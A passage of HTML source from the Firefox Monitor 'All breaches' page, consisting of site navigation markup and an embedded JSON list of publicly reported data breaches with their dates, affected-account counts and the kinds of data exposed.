href="https://www.mozilla.org/firefox/accounts/?utm_source=monitor.firefox.com&utm_medium=banner&utm_campaign=trailhead&utm_content=protect-your-privacy">Learn more.</a></span> </div> </div> </div> <div id="navigation-wrapper"> <section class="row-full-width fxm-branding"> <a class="flx-cntr fx-monitor-logo-wrapper" href="/" aria-label="Home" data-ga-link="" data-event-category="Internal Link" data-event-label="Fx-Monitor-Logo" > <div class="sprite fx-monitor-logo"><!--Firefox Monitor logo--></div> <div class="fx-monitor-logotype"></div> </a> <nav class="desktop-menu flx-cntr"> <a class="nav-link" data-ga-link="" data-event-category="Internal Link" data-event-label="Home" href="https://monitor.firefox.com/"><span class="active-link-underline">Home</span></a> <a class="nav-link" data-ga-link="" data-event-category="Internal Link" data-event-label="Breaches" href="https://monitor.firefox.com/breaches"><span class="active-link-underline">Breaches</span></a> <a class="nav-link" data-ga-link="" data-event-category="Internal Link" data-event-label="Security Tips" href="https://monitor.firefox.com/security-tips"><span class="active-link-underline">Security Tips</span></a> <button id="sign-in-btn" class="open-oauth sign-in btn-light" data-entrypoint="fx-monitor-sign-in-button" data-flow-id="" data-flow-begin-time="" data-event-category="Sign In Button">Sign In</button> </nav> </section> <!--mobile navigation--> <section class="mobile-nav show-mobile"> <span class="nav-link drop-down-menu">Menu <svg class="toggle-down" xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16"><path fill="context-fill" d="M8 12a1 1 0 0 1-.707-.293l-5-5a1 1 0 0 1 1.414-1.414L8 9.586l4.293-4.293a1 1 0 0 1 1.414 1.414l-5 5A1 1 0 0 1 8 12z"></path></svg> </span> <nav class="mobile-menu flx-cntr row-full-width"> <a class="nav-link" data-ga-link="" data-event-category="Internal Link" data-event-label="Home" href="https://monitor.firefox.com/"><span class="active-link-underline">Home</span></a> <a class="nav-link" data-ga-link="" data-event-category="Internal Link" data-event-label="Breaches" href="https://monitor.firefox.com/breaches"><span class="active-link-underline">Breaches</span></a> <a class="nav-link" data-ga-link="" data-event-category="Internal Link" data-event-label="Security Tips" href="https://monitor.firefox.com/security-tips"><span class="active-link-underline">Security Tips</span></a> </nav> </section> </div> </header> <div id="breaches-loader" class="ab-bg breaches-loader"></div> <div class="ab-bg top-level"> <main class="all-breaches-main clear-header" data-page-label="All Breaches"> <div class="row"> <div class="col-12 no-vertical-padding"> <h2 class="top-headline all-breaches-headline">All breaches in Firefox Monitor</h2> </div> </div> </main> <section class="all-breaches-wrapper"> <div class="row flx-col"> <div class="col-12 txt-cntr no-vertical-padding"> <div class="fuzzy-wrapper"> <form id="fuzzy-form" class="fuzzy-form"> <input tabindex="1" type="text" id="fuzzy-find-input" class="fuzzy-find-input" placeholder="Search Breaches" autocomplete="off" /> <button tabindex="3" id="fuzzy-find-submit" class="fuzzy-find-submit" aria-label="Search Breaches"><svg class="search-icon " xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16"><path fill="#5b5b66" d="M15.707 14.293l-4.822-4.822a6.019 6.019 0 1 0-1.414 1.414l4.822 4.822a1 1 0 0 0 1.414-1.414zM6 10a4 4 0 1 1 4-4 4 4 0 0 1-4 4z"></path></svg> </button> </form> <button tabindex="2" id="fuzzy-show-all" class="fuzzy-find-show-breaches show-all-breaches"><span class="x-close-bg"><svg xmlns="http://www.w3.org/2000/svg" class="x-close" width="16" height="16" viewBox="0 0 16 16"><path fill="context-fill" d="M9.061 8l3.47-3.47a.75.75 0 0 0-1.061-1.06L8 6.939 4.53 3.47a.75.75 0 1 0-1.06 1.06L6.939 8 3.47 11.47a.75.75 0 1 0 1.06 1.06L8 9.061l3.47 3.47a.75.75 0 0 0 1.06-1.061z"></path></svg> </span></button> <span id="no-results-blurb" class="no-results-blurb">Sorry, that breach is not in our database.</span> </div> <span id="no-results-blurb" class="no-results-blurb">Sorry, that breach is not in our database.</span> <span class="source-info "> Breach data provided by <a id="hibp-link" class="text-link medium" href="https://www.haveibeenpwned.com" data-ga-link="" data-event-category="Utility & Outbound Links" data-event-label="Clicked-HIBP" target="_blank" rel="noopener noreferrer">Have I Been Pwned</a> </span> </div> </div> <div class="row flx-col"> <!-- breach cards --> <div id="all-breaches" class="all-breaches flx"></div> <button id="show-hidden-breaches" class="col violet-btn show-all-breaches">Show All</button> </div> </section> </div> <div id="breach-array-json" hidden=true data-breach-array="{&quot;LocalizedBreachCardStrings&quot;:{&quot;BreachAdded&quot;:&quot;Breach added:&quot;,&quot;CompromisedAccounts&quot;:&quot;Compromised accounts:&quot;,&quot;CompromisedData&quot;:&quot;Compromised data:&quot;,&quot;MoreInfoLink&quot;:&quot;More about this breach&quot;},&quot;breaches&quot;:[{&quot;Name&quot;:&quot;KiwiFarms&quot;,&quot;Title&quot;:&quot;KiwiFarms&quot;,&quot;AddedDate&quot;:&quot;September 17, 2019&quot;,&quot;PwnCount&quot;:&quot;4,606&quot;,&quot;LogoPath&quot;:&quot;KiwiFarms.png&quot;,&quot;DataClasses&quot;:&quot;IP addresses, Email addresses&quot;},{&quot;Name&quot;:&quot;MastercardPricelessSpecials&quot;,&quot;Title&quot;:&quot;Mastercard Priceless Specials&quot;,&quot;AddedDate&quot;:&quot;September 1, 2019&quot;,&quot;PwnCount&quot;:&quot;89,388&quot;,&quot;LogoPath&quot;:&quot;Mastercard.png&quot;,&quot;DataClasses&quot;:&quot;Partial credit card data, IP addresses&quot;},{&quot;Name&quot;:&quot;ClubPenguinRewrittenJul2019&quot;,&quot;Title&quot;:&quot;Club Penguin Rewritten (July 2019)&quot;,&quot;AddedDate&quot;:&quot;July 30, 2019&quot;,&quot;PwnCount&quot;:&quot;4,007,909&quot;,&quot;LogoPath&quot;:&quot;ClubPenguinRewritten.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;StockX&quot;,&quot;Title&quot;:&quot;StockX&quot;,&quot;AddedDate&quot;:&quot;August 10, 2019&quot;,&quot;PwnCount&quot;:&quot;6,840,339&quot;,&quot;LogoPath&quot;:&quot;StockX.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;CrackedTO&quot;,&quot;Title&quot;:&quot;Cracked.to&quot;,&quot;AddedDate&quot;:&quot;August 12, 2019&quot;,&quot;PwnCount&quot;:&quot;749,161&quot;,&quot;LogoPath&quot;:&quot;CrackedTO.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;FlashFlashRevolution2019&quot;,&quot;Title&quot;:&quot;Flash Flash Revolution (2019 breach)&quot;,&quot;AddedDate&quot;:&quot;July 21, 2019&quot;,&quot;PwnCount&quot;:&quot;1,858,124&quot;,&quot;LogoPath&quot;:&quot;FlashFlashRevolution.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;BulgarianNationalRevenueAgency&quot;,&quot;Title&quot;:&quot;Bulgarian National Revenue Agency&quot;,&quot;AddedDate&quot;:&quot;July 18, 2019&quot;,&quot;PwnCount&quot;:&quot;471,167&quot;,&quot;LogoPath&quot;:&quot;BulgarianNationalRevenueAgency.png&quot;,&quot;DataClasses&quot;:&quot;Phone numbers, Email addresses&quot;},{&quot;Name&quot;:&quot;BlackSpigotMC&quot;,&quot;Title&quot;:&quot;BlackSpigotMC&quot;,&quot;AddedDate&quot;:&quot;July 17, 2019&quot;,&quot;PwnCount&quot;:&quot;140,029&quot;,&quot;LogoPath&quot;:&quot;BlackSpigotMC.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;XKCD&quot;,&quot;Title&quot;:&quot;XKCD&quot;,&quot;AddedDate&quot;:&quot;September 1, 2019&quot;,&quot;PwnCount&quot;:&quot;561,991&quot;,&quot;LogoPath&quot;:&quot;XKCD.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Artvalue&quot;,&quot;Title&quot;:&quot;Artvalue&quot;,&quot;AddedDate&quot;:&quot;July 19, 2019&quot;,&quot;PwnCount&quot;:&quot;157,692&quot;,&quot;LogoPath&quot;:&quot;Artvalue.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;SocialEngineered&quot;,&quot;Title&quot;:&quot;Social Engineered&quot;,&quot;AddedDate&quot;:&quot;June 23, 2019&quot;,&quot;PwnCount&quot;:&quot;89,392&quot;,&quot;LogoPath&quot;:&quot;SocialEngineered.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;VoidTO&quot;,&quot;Title&quot;:&quot;Void.to&quot;,&quot;AddedDate&quot;:&quot;September 11, 2019&quot;,&quot;PwnCount&quot;:&quot;95,431&quot;,&quot;LogoPath&quot;:&quot;VoidTO.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Canva&quot;,&quot;Title&quot;:&quot;Canva&quot;,&quot;AddedDate&quot;:&quot;August 9, 2019&quot;,&quot;PwnCount&quot;:&quot;137,272,116&quot;,&quot;LogoPath&quot;:&quot;Canva.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Minehut&quot;,&quot;Title&quot;:&quot;Minehut&quot;,&quot;AddedDate&quot;:&quot;September 17, 2019&quot;,&quot;PwnCount&quot;:&quot;396,533&quot;,&quot;LogoPath&quot;:&quot;Minehut.png&quot;,&quot;DataClasses&quot;:&quot;Email addresses&quot;},{&quot;Name&quot;:&quot;OrdineAvvocatiDiRoma&quot;,&quot;Title&quot;:&quot;Ordine Avvocati di Roma&quot;,&quot;AddedDate&quot;:&quot;May 26, 2019&quot;,&quot;PwnCount&quot;:&quot;41,960&quot;,&quot;LogoPath&quot;:&quot;OrdineAvvocatiDiRoma.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;EatStreet&quot;,&quot;Title&quot;:&quot;EatStreet&quot;,&quot;AddedDate&quot;:&quot;July 19, 2019&quot;,&quot;PwnCount&quot;:&quot;6,353,564&quot;,&quot;LogoPath&quot;:&quot;EatStreet.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Partial credit card data&quot;},{&quot;Name&quot;:&quot;LuminPDF&quot;,&quot;Title&quot;:&quot;Lumin PDF&quot;,&quot;AddedDate&quot;:&quot;September 18, 2019&quot;,&quot;PwnCount&quot;:&quot;15,453,048&quot;,&quot;LogoPath&quot;:&quot;LuminPDF.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;EverybodyEdits&quot;,&quot;Title&quot;:&quot;Everybody Edits&quot;,&quot;AddedDate&quot;:&quot;April 3, 2019&quot;,&quot;PwnCount&quot;:&quot;871,190&quot;,&quot;LogoPath&quot;:&quot;EverybodyEdits.png&quot;,&quot;DataClasses&quot;:&quot;IP addresses, Email addresses&quot;},{&quot;Name&quot;:&quot;MindJolt&quot;,&quot;Title&quot;:&quot;MindJolt&quot;,&quot;AddedDate&quot;:&quot;July 13, 2019&quot;,&quot;PwnCount&quot;:&quot;28,364,826&quot;,&quot;LogoPath&quot;:&quot;MindJolt.png&quot;,&quot;DataClasses&quot;:&quot;Email addresses, Dates of birth&quot;},{&quot;Name&quot;:&quot;VerificationsIO&quot;,&quot;Title&quot;:&quot;Verifications.io&quot;,&quot;AddedDate&quot;:&quot;March 9, 2019&quot;,&quot;PwnCount&quot;:&quot;763,117,241&quot;,&quot;LogoPath&quot;:&quot;VerificationsIO.png&quot;,&quot;DataClasses&quot;:&quot;IP addresses, Phone numbers&quot;},{&quot;Name&quot;:&quot;GameSalad&quot;,&quot;Title&quot;:&quot;GameSalad&quot;,&quot;AddedDate&quot;:&quot;July 21, 2019&quot;,&quot;PwnCount&quot;:&quot;1,506,242&quot;,&quot;LogoPath&quot;:&quot;GameSalad.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;DemonForums&quot;,&quot;Title&quot;:&quot;Demon Forums&quot;,&quot;AddedDate&quot;:&quot;April 4, 2019&quot;,&quot;PwnCount&quot;:&quot;52,623&quot;,&quot;LogoPath&quot;:&quot;DemonForums.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;CafePress&quot;,&quot;Title&quot;:&quot;CafePress&quot;,&quot;AddedDate&quot;:&quot;August 5, 2019&quot;,&quot;PwnCount&quot;:&quot;23,205,290&quot;,&quot;LogoPath&quot;:&quot;CafePress.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;YouNow&quot;,&quot;Title&quot;:&quot;YouNow&quot;,&quot;AddedDate&quot;:&quot;July 18, 2019&quot;,&quot;PwnCount&quot;:&quot;18,241,518&quot;,&quot;LogoPath&quot;:&quot;YouNow.png&quot;,&quot;DataClasses&quot;:&quot;IP addresses, Email addresses&quot;},{&quot;Name&quot;:&quot;devkitPro&quot;,&quot;Title&quot;:&quot;devkitPro&quot;,&quot;AddedDate&quot;:&quot;February 11, 2019&quot;,&quot;PwnCount&quot;:&quot;1,508&quot;,&quot;LogoPath&quot;:&quot;devkitPro.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;ixigo&quot;,&quot;Title&quot;:&quot;ixigo&quot;,&quot;AddedDate&quot;:&quot;March 17, 2019&quot;,&quot;PwnCount&quot;:&quot;17,204,697&quot;,&quot;LogoPath&quot;:&quot;ixigo.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;ArmorGames&quot;,&quot;Title&quot;:&quot;Armor Games&quot;,&quot;AddedDate&quot;:&quot;July 20, 2019&quot;,&quot;PwnCount&quot;:&quot;10,604,307&quot;,&quot;LogoPath&quot;:&quot;ArmorGames.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;BannerBit&quot;,&quot;Title&quot;:&quot;BannerBit&quot;,&quot;AddedDate&quot;:&quot;January 8, 2019&quot;,&quot;PwnCount&quot;:&quot;213,415&quot;,&quot;LogoPath&quot;:&quot;BannerBit.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;BlankMediaGames&quot;,&quot;Title&quot;:&quot;BlankMediaGames&quot;,&quot;AddedDate&quot;:&quot;January 2, 2019&quot;,&quot;PwnCount&quot;:&quot;7,633,234&quot;,&quot;LogoPath&quot;:&quot;BlankMediaGames.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Roll20&quot;,&quot;Title&quot;:&quot;Roll20&quot;,&quot;AddedDate&quot;:&quot;July 19, 2019&quot;,&quot;PwnCount&quot;:&quot;3,994,436&quot;,&quot;LogoPath&quot;:&quot;Roll20.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Partial credit card data&quot;},{&quot;Name&quot;:&quot;OGUsers&quot;,&quot;Title&quot;:&quot;OGUsers&quot;,&quot;AddedDate&quot;:&quot;May 19, 2019&quot;,&quot;PwnCount&quot;:&quot;161,143&quot;,&quot;LogoPath&quot;:&quot;OGUsers.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Wanelo&quot;,&quot;Title&quot;:&quot;Wanelo&quot;,&quot;AddedDate&quot;:&quot;September 30, 2019&quot;,&quot;PwnCount&quot;:&quot;23,165,793&quot;,&quot;LogoPath&quot;:&quot;Wanelo.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Mappery&quot;,&quot;Title&quot;:&quot;Mappery&quot;,&quot;AddedDate&quot;:&quot;December 18, 2018&quot;,&quot;PwnCount&quot;:&quot;205,242&quot;,&quot;LogoPath&quot;:&quot;Mappery.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;BombujEu&quot;,&quot;Title&quot;:&quot;Bombuj.eu&quot;,&quot;AddedDate&quot;:&quot;December 10, 2018&quot;,&quot;PwnCount&quot;:&quot;575,437&quot;,&quot;LogoPath&quot;:&quot;BombujEu.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Dubsmash&quot;,&quot;Title&quot;:&quot;Dubsmash&quot;,&quot;AddedDate&quot;:&quot;February 25, 2019&quot;,&quot;PwnCount&quot;:&quot;161,749,950&quot;,&quot;LogoPath&quot;:&quot;Dubsmash.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;Technic&quot;,&quot;Title&quot;:&quot;Technic&quot;,&quot;AddedDate&quot;:&quot;December 4, 2018&quot;,&quot;PwnCount&quot;:&quot;265,410&quot;,&quot;LogoPath&quot;:&quot;Technic.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;DataAndLeads&quot;,&quot;Title&quot;:&quot;Data &amp; Leads&quot;,&quot;AddedDate&quot;:&quot;November 28, 2018&quot;,&quot;PwnCount&quot;:&quot;44,320,330&quot;,&quot;LogoPath&quot;:&quot;List.png&quot;,&quot;DataClasses&quot;:&quot;IP addresses, Phone numbers&quot;},{&quot;Name&quot;:&quot;Adapt&quot;,&quot;Title&quot;:&quot;Adapt&quot;,&quot;AddedDate&quot;:&quot;November 22, 2018&quot;,&quot;PwnCount&quot;:&quot;9,363,740&quot;,&quot;LogoPath&quot;:&quot;Adapt.png&quot;,&quot;DataClasses&quot;:&quot;Phone numbers, Email addresses&quot;},{&quot;Name&quot;:&quot;WPSandbox&quot;,&quot;Title&quot;:&quot;WPSandbox&quot;,&quot;AddedDate&quot;:&quot;November 6, 2018&quot;,&quot;PwnCount&quot;:&quot;858&quot;,&quot;LogoPath&quot;:&quot;WPSandbox.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;SIAE&quot;,&quot;Title&quot;:&quot;Società Italiana degli Autori ed Editori&quot;,&quot;AddedDate&quot;:&quot;November 7, 2018&quot;,&quot;PwnCount&quot;:&quot;14,609&quot;,&quot;LogoPath&quot;:&quot;SIAE.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;GoldSilver&quot;,&quot;Title&quot;:&quot;GoldSilver&quot;,&quot;AddedDate&quot;:&quot;December 27, 2018&quot;,&quot;PwnCount&quot;:&quot;242,715&quot;,&quot;LogoPath&quot;:&quot;GoldSilver.png&quot;,&quot;DataClasses&quot;:&quot;Social security numbers, Bank account numbers&quot;},{&quot;Name&quot;:&quot;MoreleNet&quot;,&quot;Title&quot;:&quot;Morele.net&quot;,&quot;AddedDate&quot;:&quot;April 20, 2019&quot;,&quot;PwnCount&quot;:&quot;2,467,304&quot;,&quot;LogoPath&quot;:&quot;MoreleNet.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;WifeLovers&quot;,&quot;Title&quot;:&quot;Wife Lovers&quot;,&quot;AddedDate&quot;:&quot;October 20, 2018&quot;,&quot;PwnCount&quot;:&quot;1,274,051&quot;,&quot;LogoPath&quot;:&quot;WifeLovers.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Knuddels&quot;,&quot;Title&quot;:&quot;Knuddels&quot;,&quot;AddedDate&quot;:&quot;April 8, 2019&quot;,&quot;PwnCount&quot;:&quot;808,330&quot;,&quot;LogoPath&quot;:&quot;Knuddels.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;AtlasQuantum&quot;,&quot;Title&quot;:&quot;Atlas Quantum&quot;,&quot;AddedDate&quot;:&quot;August 27, 2018&quot;,&quot;PwnCount&quot;:&quot;261,463&quot;,&quot;LogoPath&quot;:&quot;AtlasQuantum.png&quot;,&quot;DataClasses&quot;:&quot;Phone numbers, Email addresses&quot;},{&quot;Name&quot;:&quot;HTHStudios&quot;,&quot;Title&quot;:&quot;HTH Studios&quot;,&quot;AddedDate&quot;:&quot;November 20, 2018&quot;,&quot;PwnCount&quot;:&quot;411,755&quot;,&quot;LogoPath&quot;:&quot;HTHStudios.png&quot;,&quot;DataClasses&quot;:&quot;IP addresses, Phone numbers&quot;},{&quot;Name&quot;:&quot;SpyFone&quot;,&quot;Title&quot;:&quot;SpyFone&quot;,&quot;AddedDate&quot;:&quot;August 24, 2018&quot;,&quot;PwnCount&quot;:&quot;44,109&quot;,&quot;LogoPath&quot;:&quot;SpyFone.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;HauteLook&quot;,&quot;Title&quot;:&quot;HauteLook&quot;,&quot;AddedDate&quot;:&quot;March 21, 2019&quot;,&quot;PwnCount&quot;:&quot;28,510,459&quot;,&quot;LogoPath&quot;:&quot;HauteLook.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;RbxRocks&quot;,&quot;Title&quot;:&quot;Rbx.Rocks&quot;,&quot;AddedDate&quot;:&quot;November 7, 2018&quot;,&quot;PwnCount&quot;:&quot;149,958&quot;,&quot;LogoPath&quot;:&quot;RbxRocks.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Lanwar&quot;,&quot;Title&quot;:&quot;Lanwar&quot;,&quot;AddedDate&quot;:&quot;August 8, 2018&quot;,&quot;PwnCount&quot;:&quot;45,120&quot;,&quot;LogoPath&quot;:&quot;Lanwar.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Apollo&quot;,&quot;Title&quot;:&quot;Apollo&quot;,&quot;AddedDate&quot;:&quot;October 5, 2018&quot;,&quot;PwnCount&quot;:&quot;125,929,660&quot;,&quot;LogoPath&quot;:&quot;Apollo.png&quot;,&quot;DataClasses&quot;:&quot;Phone numbers, Email addresses&quot;},{&quot;Name&quot;:&quot;Animoto&quot;,&quot;Title&quot;:&quot;Animoto&quot;,&quot;AddedDate&quot;:&quot;July 18, 2019&quot;,&quot;PwnCount&quot;:&quot;22,437,749&quot;,&quot;LogoPath&quot;:&quot;Animoto.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;ShareThis&quot;,&quot;Title&quot;:&quot;ShareThis&quot;,&quot;AddedDate&quot;:&quot;March 3, 2019&quot;,&quot;PwnCount&quot;:&quot;40,960,499&quot;,&quot;LogoPath&quot;:&quot;ShareThis.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;WhiteRoom&quot;,&quot;Title&quot;:&quot;Fashion Nexus&quot;,&quot;AddedDate&quot;:&quot;July 31, 2018&quot;,&quot;PwnCount&quot;:&quot;1,279,263&quot;,&quot;LogoPath&quot;:&quot;WhiteRoom.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Bookmate&quot;,&quot;Title&quot;:&quot;Bookmate&quot;,&quot;AddedDate&quot;:&quot;March 22, 2019&quot;,&quot;PwnCount&quot;:&quot;3,830,916&quot;,&quot;LogoPath&quot;:&quot;Bookmate.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;500px&quot;,&quot;Title&quot;:&quot;500px&quot;,&quot;AddedDate&quot;:&quot;March 25, 2019&quot;,&quot;PwnCount&quot;:&quot;14,867,999&quot;,&quot;LogoPath&quot;:&quot;500px.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;StrongholdKingdoms&quot;,&quot;Title&quot;:&quot;Stronghold Kingdoms&quot;,&quot;AddedDate&quot;:&quot;July 21, 2019&quot;,&quot;PwnCount&quot;:&quot;5,187,305&quot;,&quot;LogoPath&quot;:&quot;StrongholdKingdoms.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;8fit&quot;,&quot;Title&quot;:&quot;8fit&quot;,&quot;AddedDate&quot;:&quot;March 21, 2019&quot;,&quot;PwnCount&quot;:&quot;15,025,407&quot;,&quot;LogoPath&quot;:&quot;8fit.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;LightsHope&quot;,&quot;Title&quot;:&quot;Light&#x27;s Hope&quot;,&quot;AddedDate&quot;:&quot;July 4, 2018&quot;,&quot;PwnCount&quot;:&quot;30,484&quot;,&quot;LogoPath&quot;:&quot;LightsHope.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;MortalOnline&quot;,&quot;Title&quot;:&quot;Mortal Online&quot;,&quot;AddedDate&quot;:&quot;August 31, 2018&quot;,&quot;PwnCount&quot;:&quot;606,637&quot;,&quot;LogoPath&quot;:&quot;MortalOnline.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Exactis&quot;,&quot;Title&quot;:&quot;Exactis&quot;,&quot;AddedDate&quot;:&quot;July 25, 2018&quot;,&quot;PwnCount&quot;:&quot;131,577,763&quot;,&quot;LogoPath&quot;:&quot;Exactis.png&quot;,&quot;DataClasses&quot;:&quot;IP addresses, Phone numbers&quot;},{&quot;Name&quot;:&quot;SHEIN&quot;,&quot;Title&quot;:&quot;SHEIN&quot;,&quot;AddedDate&quot;:&quot;July 17, 2019&quot;,&quot;PwnCount&quot;:&quot;39,086,762&quot;,&quot;LogoPath&quot;:&quot;SHEIN.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Ticketfly&quot;,&quot;Title&quot;:&quot;Ticketfly&quot;,&quot;AddedDate&quot;:&quot;June 3, 2018&quot;,&quot;PwnCount&quot;:&quot;26,151,608&quot;,&quot;LogoPath&quot;:&quot;Ticketfly.png&quot;,&quot;DataClasses&quot;:&quot;Phone numbers, Email addresses&quot;},{&quot;Name&quot;:&quot;AdultFanFiction&quot;,&quot;Title&quot;:&quot;Adult-FanFiction.Org&quot;,&quot;AddedDate&quot;:&quot;August 6, 2018&quot;,&quot;PwnCount&quot;:&quot;186,082&quot;,&quot;LogoPath&quot;:&quot;AdultFanFiction.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Houzz&quot;,&quot;Title&quot;:&quot;Houzz&quot;,&quot;AddedDate&quot;:&quot;March 12, 2019&quot;,&quot;PwnCount&quot;:&quot;48,881,308&quot;,&quot;LogoPath&quot;:&quot;Houzz.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Poshmark&quot;,&quot;Title&quot;:&quot;Poshmark&quot;,&quot;AddedDate&quot;:&quot;September 2, 2019&quot;,&quot;PwnCount&quot;:&quot;36,395,491&quot;,&quot;LogoPath&quot;:&quot;Poshmark.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;ViewFines&quot;,&quot;Title&quot;:&quot;ViewFines&quot;,&quot;AddedDate&quot;:&quot;May 24, 2018&quot;,&quot;PwnCount&quot;:&quot;777,649&quot;,&quot;LogoPath&quot;:&quot;ViewFines.png&quot;,&quot;DataClasses&quot;:&quot;Government issued IDs, Passwords&quot;},{&quot;Name&quot;:&quot;LinuxForums&quot;,&quot;Title&quot;:&quot;Linux Forums&quot;,&quot;AddedDate&quot;:&quot;June 7, 2018&quot;,&quot;PwnCount&quot;:&quot;275,785&quot;,&quot;LogoPath&quot;:&quot;LinuxForums.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Creative&quot;,&quot;Title&quot;:&quot;Creative&quot;,&quot;AddedDate&quot;:&quot;June 7, 2018&quot;,&quot;PwnCount&quot;:&quot;483,015&quot;,&quot;LogoPath&quot;:&quot;Creative.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;FunnyGames&quot;,&quot;Title&quot;:&quot;Funny Games&quot;,&quot;AddedDate&quot;:&quot;July 24, 2018&quot;,&quot;PwnCount&quot;:&quot;764,357&quot;,&quot;LogoPath&quot;:&quot;FunnyGames.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Chegg&quot;,&quot;Title&quot;:&quot;Chegg&quot;,&quot;AddedDate&quot;:&quot;August 16, 2019&quot;,&quot;PwnCount&quot;:&quot;39,721,127&quot;,&quot;LogoPath&quot;:&quot;Chegg.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Emuparadise&quot;,&quot;Title&quot;:&quot;Emuparadise&quot;,&quot;AddedDate&quot;:&quot;June 9, 2019&quot;,&quot;PwnCount&quot;:&quot;1,131,229&quot;,&quot;LogoPath&quot;:&quot;Emuparadise.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;AerServ&quot;,&quot;Title&quot;:&quot;AerServ&quot;,&quot;AddedDate&quot;:&quot;December 6, 